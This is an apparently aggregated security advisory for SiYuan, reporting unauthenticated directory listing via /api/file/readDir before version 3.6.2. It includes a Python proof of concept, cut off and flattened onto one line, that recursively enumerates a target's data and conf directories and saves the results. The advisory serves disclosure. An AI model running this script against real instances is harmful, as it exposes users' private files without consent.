EUVD-2026-277975

fkie_cve-2026-33670

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.

GHSA-xmw9-6r43-x9ww — SiYuan has directory traversal within its publishing service

Affected: Go: github.com/siyuan-note/siyuan/kernel

### Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

### PoC

```python #!/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys

def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir"

def read_dir(path, depth=0, max_depth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: return if data.get("code") != 0: return

entries = data.get("data") or [] for entry in entries: name = entry.get("name","") if name.startswith("."): continue icon = "📁" if entry.get("isDir") else "📄" indent = " " * depth print(f" {indent}{icon} {name}")

if entry.get("isDir") and depth < max_depth: read_dir(f"{path}/{name}", depth+1, max_depth)

# 遍历根目录 print("[+] 漏洞存在！开始遍历\n") print(" 📂 data/") read_dir("data", max_depth=2)

print("\n 📂 conf/") read_dir("conf", max_depth=2)

# 保存 try: r = requests.post(url, json={"path":"data"}, headers={"Content-Type":"application/json"}, timeout=10) with open("readdir.json","w",encoding="utf-8") as f: json.dump(r.json(), f, ens…

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EUVD-2026-277975

fkie_cve-2026-33670

GHSA-xmw9-6r43-x9ww — SiYuan has directory traversal within its publishing service